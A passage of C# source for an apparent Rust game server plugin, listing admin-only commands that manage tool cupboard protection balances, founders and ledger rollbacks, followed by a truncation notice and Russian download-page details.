                    OPTIONAL_TC_ID_ARGUMENT
                }
            }
            , new CommandInfo() {
                Command = "founder set", Method = "CmdTcFounderSet", Description = "Sets the player as a founder of the tool cupboard, it will inherit their protection level.", Permission = PermissionAdmin, SkipOptional = true, Arguments = new CommandArgument[] {
                    OPTIONAL_TC_ID_ARGUMENT, REQUIRED_PLAYER
                }
            }
            , new CommandInfo() {
                Command = "protection", Method = "CmdTcProtection", Description = "Returns the protection details of the tool cupboard.", Permission = PermissionAdmin, SkipOptional = true, Arguments = new CommandArgument[] {
                    OPTIONAL_TC_ID_ARGUMENT
                }
            }
            , new CommandInfo() {
                Command = "cost", Method = "CmdTcCost", Description = "Returns the cost details of the tool cupboard.", Permission = PermissionAdmin, SkipOptional = true, Arguments = new CommandArgument[] {
                    OPTIONAL_TC_ID_ARGUMENT
                }
            }
            , new CommandInfo() {
                Command = "balance", Method = "CmdTcBalance", Description = "Returns the current balance of the tool cupboard.", Permission = PermissionAdmin, SkipOptional = true, Arguments = new CommandArgument[] {
                    OPTIONAL_TC_ID_ARGUMENT
                }
            }
            , new CommandInfo() {
                Command = "balance set", Method = "CmdTcBalanceSet", Description = "Sets the tool cupboard protection balance to the amount.", Permission = PermissionAdmin, SkipOptional = true, Arguments = new CommandArgument[] {
                    OPTIONAL_TC_ID_ARGUMENT, BALANCE_AMOUNT
                }
            }
            , new CommandInfo() {
                Command = "balance add", Method = "CmdTcBalanceAdd", Description = "Adds the amount to the tool cupboard protection balance.", Permission = PermissionAdmin, SkipOptional = true, Arguments = new CommandArgument[] {
                    OPTIONAL_TC_ID_ARGUMENT, BALANCE_AMOUNT
                }
            }
            , new CommandInfo() {
                Command = "balance remove", Method = "CmdTcBalanceRemove", Description = "Removes the amount from the tool cupboard protection balance.", Permission = PermissionAdmin, SkipOptional = true, Arguments = new CommandArgument[] {
                    OPTIONAL_TC_ID_ARGUMENT, BALANCE_AMOUNT
                }
            }
            , new CommandInfo() {
                Command = "status", Method = "CmdTcStatus", Description = "Returns the protection status and reason of the tool cupboard.", Permission = PermissionAdmin, SkipOptional = true, Arguments = new CommandArgument[] {
                    OPTIONAL_TC_ID_ARGUMENT
                }
            }
            , new CommandInfo() {
                Command = "restore", Method = "CmdTcRestore", Description = "Returns the protection balance of the tool cupboard to the specified ledger snapshot guid.", Permission = PermissionAdmin, SkipOptional = true, Arguments = new CommandArgument[] {
                    OPTIONAL_TC_ID_ARGUMENT, LEDGER_GUID
                }
            }
            , new CommandInfo() {
                Command = "ledger save", Method = "CmdTcLedgerSave", Description = "Saves all ledgers for all tool cupboards instead of waiting until the next server save.", Permission = PermissionAdmin
            }
            , new CommandInfo() {
                Command = "ledger clear", Method = "CmdTcLedgerClear", Description = "Clears all ledgers for all tool cupboards.The current balance will not be changed but you will no longer have a ledger history.", Permission = PermissionAdmin
            }
            , new CommandInfo() {
                Command = "ledger rollback", Method = "CmdTcLedgerRollback", Description = "Restores all tool cupboards to the ledger entry to the latest entry before a timestamp given as month/day/year hour:min:second.", Permission = PermissionAdmin, Arguments = new CommandArgument[] {
                    DATETIME
                }
            }
            , new CommandInfo() {
                Command = "changelog", Method = "CmdTcChangelog", Description = "Displays a list of changes in the latest patch.", Permission = PermissionAdmin
            }
            ,
        }
        ;
#endregion
#region Helpers
        private BasePlayer GetPlayerOrTarget(IPlayer player, string command, string[] args, int index = 0, int length = 1) {
            BasePlayer caller = player.Object as BasePlayer;
            if (player.IsServer && args.Length < length) {
                Message(caller, 
// ... [Code preview truncated due to length. Full source in attached file] ...

Автор
15FPS
Скачиваний
0
Просмотры
1
Первый выпуск
Обновление
Оценка
0.00 звёзд 0 оценок
Сверху